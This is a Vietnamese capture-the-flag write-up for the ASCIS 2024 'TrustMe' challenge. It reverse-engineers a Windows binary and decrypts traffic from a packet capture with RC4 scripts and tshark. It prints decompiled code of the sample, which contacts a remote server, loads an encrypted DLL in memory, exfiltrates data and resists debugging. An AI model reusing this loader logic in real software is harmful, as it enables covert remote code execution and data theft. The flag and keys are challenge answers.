# TrustMe (ASCIS 2024)
## Phân tích
- Thử thách cho em 2 file `TrustMe.exe` và `record.pcapng`.
- Em sẽ tiến hành phân tích file `TrustMe.exe` trước. Vì phải hiểu nó mới có thể phân tích được dữ liệu trong file `record.pcapng` được gửi đi và nhận những data gì.

```
void __noreturn sub_4033C0()
{
int v0; // ebx
int v1; // esi
int v2; // edi
int v3; // ebx
const void *v4; // esi
int v5; // eax
_BYTE *v6; // edi
const CHAR *v7; // ebx
int v8; // ecx
HANDLE FileA; // esi
int v10; // [esp+0h] [ebp-20h]
int v11; // [esp+4h] [ebp-1Ch]
int v12; // [esp+8h] [ebp-18h]
DWORD v13[2]; // [esp+Ch] [ebp-14h] BYREF
DWORD nNumberOfBytesToWrite; // [esp+14h] [ebp-Ch]
LPSTR lpBuffer; // [esp+18h] [ebp-8h]
void *v16; // [esp+1Ch] [ebp-4h]
int savedregs; // [esp+20h] [ebp+0h]
lpBuffer = malloc(0x1000u);
v0 = dword_4203A8(0);
v1 = dword_4203BC(v0, 105, "JPGENC");
v2 = dword_4203C0(v0, v1);
v3 = dword_420390(v0, v1);
nNumberOfBytesToWrite = v3;
v4 = dword_4203AC(v2);
strcpy(v13, "imSoSad");
v5 = dword_4203B0(0);
dword_4203A4(v5);
v16 = malloc(v3);
memmove(v16, v4, v3);
v6 = malloc(v3 + 1);
memset(v6, 0, v3 + 1);
sub_402620(v16, v3, v13, strlen(v13), v6);
v7 = lpBuffer;
GetCurrentDirectoryA(0x1000u, lpBuffer);
sub_401670(v8, v7, "%s\\stopDebug.jpg", v7);
FileA = CreateFileA(v7, 0x40000000u, 0, 0, 2u, 0x80u, 0);
WriteFile(FileA, v6, nNumberOfBytesToWrite, 0, 0);
CloseHandle(FileA);
sub_4080D0(v7);
dword_4203B8(
0,
"Trust me, when have I ever tricked you?",
"Stop debugging!!!!",
16,
v10,
v11,
v12,
v13[0],
v13[1],
nNumberOfBytesToWrite,
lpBuffer,
v16,
savedregs);
_loaddll(0xFFFFFFFF);
__debugbreak();
}
```
- Nhìn sơ lược qua thì chả có gì ở hàm `main` ngoài việc chống debug.
- Xem qua thì có một vài hàm trước hàm `main` em cần phân tích.
```
int sub_403010()
{
_DWORD *v0; // ebx
int v1; // eax
int v2; // esi
int v3; // eax
PADDRINFOA *v4; // edi
int (__stdcall *v5)(const char *, const char *, int, int); // eax
int v6; // eax
PADDRINFOA v7; // eax
int v8; // eax
int v9; // ecx
int v10; // eax
int v11; // eax
int v12; // esi
int v13; // eax
int v14; // esi
int v15; // edi
void *v16; // edi
int v17; // esi
int v18; // ebx
int v19; // edi
int v20; // eax
int *v21; // esi
int v22; // eax
int v23; // eax
int v24; // eax
void *v26; // [esp+70h] [ebp-24h]
unsigned int v27; // [esp+74h] [ebp-20h]
int v28; // [esp+78h] [ebp-1Ch]
_DWORD v29[2]; // [esp+8Ch] [ebp-8h] BYREF
malloc(8u);
sub_402720();
v29[0] = 4;
v0 = malloc(0x14u);
v26 = dword_420398;
*v0 = 0LL;
v0[4] = 0;
memset(v26, 0, 0x2CCu);
v1 = dword_4203B0(0);
dword_4203A4(v1);
v2 = sub_401480();
v3 = (*(v2 + 456))(514, v2);
*(v2 + 444) = v3;
if ( v3 )
ExitProcess(1u);
*(v2 + 412) = 0;
v4 = (v2 + 404);
*(v2 + 428) = 0;
*(v2 + 432) = 0;
*(v2 + 436) = 0;
*(v2 + 440) = 0;
v5 = *(v2 + 460);
*(v2 + 416) = 0;
*(v2 + 420) = 1;
*(v2 + 424) = 6;
v6 = v5("192.168.89.136", "31337", v2 + 412, v2 + 404);
*(v2 + 444) = v6;
if ( v6 )
goto LABEL_4;
v7 = *v4;
*(v2 + 408) = *v4;
if ( v7 )
{
while ( 1 )
{
v8 = (*(v2 + 464))(v7->ai_family, v7->ai_socktype, v7->ai_protocol);
*(v2 + 400) = v8;
(*(v2 + 468))(v8, 0xFFFF, 4101, v2 + 452, 4);
v9 = *(v2 + 400);
if ( v9 == -1 )
break;
v10 = (*(v2 + 476))(v9, *(*(v2 + 408) + 24), *(*(v2 + 408) + 16));
*(v2 + 444) = v10;
if ( v10 == -1 )
{
(*(v2 + 480))(*(v2 + 400));
v11 = *(v2 + 408);
*(v2 + 400) = -1;
v7 = *(v11 + 28);
*(v2 + 408) = v7;
if ( v7 )
continue;
}
goto LABEL_9;
}
LABEL_4:
(*(v2 + 472))();
ExitProcess(1u);
}
LABEL_9:
freeaddrinfo(*v4);
if ( *(sub_401480() + 400) == -1 )
{
v12 = sub_401480();
if ( !(*(v12 + 488))(*(v12 + 400), v0, 512, 0) )
{
*(v12 + 400) = 0;
*(v12 + 496) = 0;
}
v13 = sub_401480();
(*(v13 + 484))(*(v13 + 400), v29, 1, 0);
v29[0] = strlen(sub_402920());
sub_4029C0(v0);
strlen(sub_402920());
sub_402920();
sub_4029C0(v0);
v14 = dword_4203B4 + 4;
v15 = sub_401480();
if ( !(*(v15 + 488))(*(v15 + 400), v14, 4, 0) )
{
*(v15 + 400) = 0;
*(v15 + 496) = 0;
}
v16 = malloc(*(dword_4203B4 + 4));
v17 = *(dword_4203B4 + 4);
*(dword_4203B4 + 8) = v16;
v18 = sub_401480();
if ( !(*(v18 + 488))(*(v18 + 400), v16, v17, 0) )
{
*(v18 + 400) = 0;
*(v18 + 496) = 0;
}
v27 = strlen(sub_402920());
v19 = dword_4203B4;
v28 = *(dword_4203B4 + 8);
v20 = sub_402920();
sub_402620(v20, v27, v28);
v21 = dword_4203B4;
v22 = sub_401F00(*(v19 + 8), *(v19 + 4));
*v21 = v22;
if ( !v22 )
sub_401600("Can't load library from memory.\n");
if ( !*dword_4203B4 )
{
_loaddll(0xFFFFFFFF);
JUMPOUT(0x4033B3);
}
dword_420394 = sub_402720();
v29[1] = *dword_420394 / dword_41F8B0;
v23 = sub_402920();
sub_4029C0(v23);
}
dword_42039C(1, sub_402E80);
v24 = dword_4203B0(5);
dword_4203A4(v24);
return 0;
}
```
- Nhìn sơ qua thì em hiểu được nó sẽ conect tới sever `192.168.89.136 31337` để thực hiện truyền data.
- Em sẽ tiến hành phân tích file `record`.

- Tại packer thứ 6 sever `31337` sẽ gửi đến client `51392` một chuỗi key `I'm_4_Gat3_K33per`.
- Sau đó client sẽ random một chuỗi gồm 64 ký tự.
```
int __usercall sub_402920@<eax>(int a1@<ebp>)
{
int result; // eax
unsigned int v2; // eax
_BYTE *v3; // edi
unsigned int i; // esi
char v5[64]; // [esp-40h] [ebp-4Ch] BYREF
int v6; // [esp+0h] [ebp-Ch]
void *v7; // [esp+4h] [ebp-8h]
void *retaddr; // [esp+Ch] [ebp+0h]
v6 = a1;
v7 = retaddr;
result = dword_420360;
if ( !dword_420360 )
{
v2 = unknown_libname_22(0);
srand(v2);
strcpy(v5, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
v3 = malloc(0x40u);
for ( i = 0; i < 0x40; ++i )
v3[i] = v5[rand() % 52];
v3[64] = 0;
result = v3;
dword_420360 = v3;
}
return result;
}
```
- Sau đó nó sẽ decrypt chuỗi này với key `I'm_4_Gat3_K33per` bằng RC4. Sau đó nó sẽ gửi về sever 68 byte với 4 byte đầu là len của chuỗi và 64 byte đã bị decrypt.

- 68 byte này được ghi tại packer thứ 9 em sẽ bỏ 4 byte đầu và đem đi encrypt RC4.
```
86dad7bb918e87d161556ad2e40a89010adfe3aa41ca44764e786b738047456cc80d021e7f60b56776b858225d45099f0e99b62f5758977fde740bcc2be36dbf403eb860
```
-> `WTPjWbJafqNPqrZFswaijmyVKMddOrKzukegbVDpXJqDfulPDmDwDasqTwxvibnM`
- Tiếp tục phân tích thì em lại thấy có một file `dll` đã bị decrypt với key trên.

- Và data sau khi decrypt được sever gửi về client tại các packer `11, 13, 14, 16, 17, 19, 20, 22`.
- Em sẽ dump data này ra và khôi phục nó.
- Đây là script em dùng để khôi phục.
```
from arc4 import ARC4
total = b''
key = b'WTPjWbJafqNPqrZFswaijmyVKMddOrKzukegbVDpXJqDfulPDmDwDasqTwxvibnM'
cipher = ARC4(key)
for i in range(8):
try:
with open(f"data_gen{i}.txt", "r") as file:
enc_file = bytes.fromhex(file.read().strip())
total += cipher.decrypt(enc_file)
except:
pass
with open("gen.dll", "wb") as output_file:
output_file.write(total)
```
- Sau khi em đã khôi phục được thì em tiếp tục phân tích file `gen.dll` này.
- Ta chỉ cần chú ý đến các hàm `gen0, gen1, gen2, gen3`.
```
int __cdecl gen0(const char *a1)
{
int v1; // esi
int result; // eax
int v3; // ecx
int v4; // edi
const char *v5; // edx
char v6; // al
v1 = strlen(a1);
result = sub_10001210(v1 + 1);
v3 = 0;
v4 = result;
if ( v1 <= 0 )
{
*(_BYTE *)(result + v1) = 0;
}
else
{
v5 = &a1[v1 - 1];
do
{
v6 = *v5--;
*(_BYTE *)(v3 + v4) = v6;
++v3;
}
while ( v3 < v1 );
*(_BYTE *)(v4 + v1) = 0;
return v4;
}
return result;
}
```
- Nhìn qua hàm gen 0 thì em biết được nó đang modify key cho option 0 swith case, tương tự cho option 1, 2, 3.
- Em sẽ đi tìm 4 key dựa vào key gốc.
```
def gen0(a1: str) -> str:
if len(a1) == 0:
return ''
return a1[::-1]
def gen1(a1: str) -> str:
result = []
for char in a1:
if char.islower():
result.append(char.upper())
elif char.isupper():
result.append(char.lower())
else:
result.append(char)
return ''.join(result)
def gen2(a1: str) -> str:
return a1[-1] + a1[:-1] if a1 else ''
def gen3(a1: str) -> str:
v1 = len(a1)
result = [''] * v1
for i in range(v1):
v5 = a1[i]
if ord(v5) - 65 > 0x19:
if ord(v5) - 97 > 0x19:
v6 = v5
else:
v6 = chr((ord(v5) - 84) % 26 + 97)
else:
v6 = chr((ord(v5) - 52) % 26 + 65)
result[i] = v6
return ''.join(result)
input_str = "WTPjWbJafqNPqrZFswaijmyVKMddOrKzukegbVDpXJqDfulPDmDwDasqTwxvibnM"
print(f"Original: {input_str}")
print(f"gen0: {gen0(input_str)}")
print(f"gen1: {gen1(input_str)}")
print(f"gen2: {gen2(input_str)}")
print(f"gen3: {gen3(input_str)}")
```
- Và key em tìm được là:
```
gen0: MnbivxwTqsaDwDmDPlufDqJXpDVbgekuzKrOddMKVymjiawsFZrqPNqfaJbWjPTW
gen1: wtpJwBjAFQnpQRzfSWAIJMYvkmDDoRkZUKEGBvdPxjQdFULpdMdWdASQtWXVIBNm
gen2: MWTPjWbJafqNPqrZFswaijmyVKMddOrKzukegbVDpXJqDfulPDmDwDasqTwxvibn
gen3: JGCwJoWnsdACdeMSfjnvwzlIXZqqBeXmhxrtoIQcKWdQshyCQzQjQnfdGjkivoaZ
```
- Tiếp theo chương trình sẽ dùng các key này cho từng option để decrypt flag em sẽ dựa theo option mà sever gửi đến client để viết lại script giải mã.
- Nó bắt đầu decrypt từ packer 25 cho đến packer 15494.
- 
- Tại packer 25 sever sẽ gửi đến client option cho sw case là 2 để decrypt và tất cả data sau khi decrypt sẽ gửi lại sever từ packer 27 đến packer 1493 cho option này.
- Từ đó em sẽ lọc theo len data để lấy các option trước.

- Đây là toàn bộ 22 option mà sever gửi đến client để decript.
-> `Choice: 2, 1, 1, 2, 3, 2, 3, 1, 2, 3, 1, 0, 2, 3, 0, 0, 2, 1, 1, 0, 0, 3.`
- Bây giờ em sẽ dump ra các packer liên quan với từng option này để encrypt.
- Ví dụ như option đầu tiên với choice là 2, thì data bị decrypt sẽ được ghi lại từ packer 27 -> 760.


- Em sẽ dùng `tshark` để dump ra.
```
tshark -r record.pcapng -Y "tcp && frame.number >= 27 && frame.number <= 760" -T fields -e data > data0.txt
```
- Tương tự tới `data21.txt`
- Đây là script solve của em.
```
from arc4 import ARC4
keys = [
b'MnbivxwTqsaDwDmDPlufDqJXpDVbgekuzKrOddMKVymjiawsFZrqPNqfaJbWjPTW',
b'wtpJwBjAFQnpQRzfSWAIJMYvkmDDoRkZUKEGBvdPxjQdFULpdMdWdASQtWXVIBNm',
b'MWTPjWbJafqNPqrZFswaijmyVKMddOrKzukegbVDpXJqDfulPDmDwDasqTwxvibn',
b'JGCwJoWnsdACdeMSfjnvwzlIXZqqBeXmhxrtoIQcKWdQshyCQzQjQnfdGjkivoaZ'
]
index = [2, 1, 1, 2, 3, 2, 3, 1, 2, 3, 1, 0, 2, 3, 0, 0, 2, 1, 1, 0, 0, 3]
total = b''
for i in range(22):
try:
with open(f"data{i}.txt", "r") as file:
enc_file = bytes.fromhex(file.read().strip())
cipher = ARC4(keys[index[i]])
total += cipher.decrypt(enc_file)
except Exception as e:
print(f"Error processing file data{i}.txt: {e}")
with open("flag.bmp", "wb") as output_file:
output_file.write(total)
```

`Flag: ASCIS{TruSt_m3_br0!_I_d1dn_T_D0_4nyTh1ng!_I_sw34r}`
## Tổng kết
- Em cảm ơn mọi người đã đọc write up của em ạ.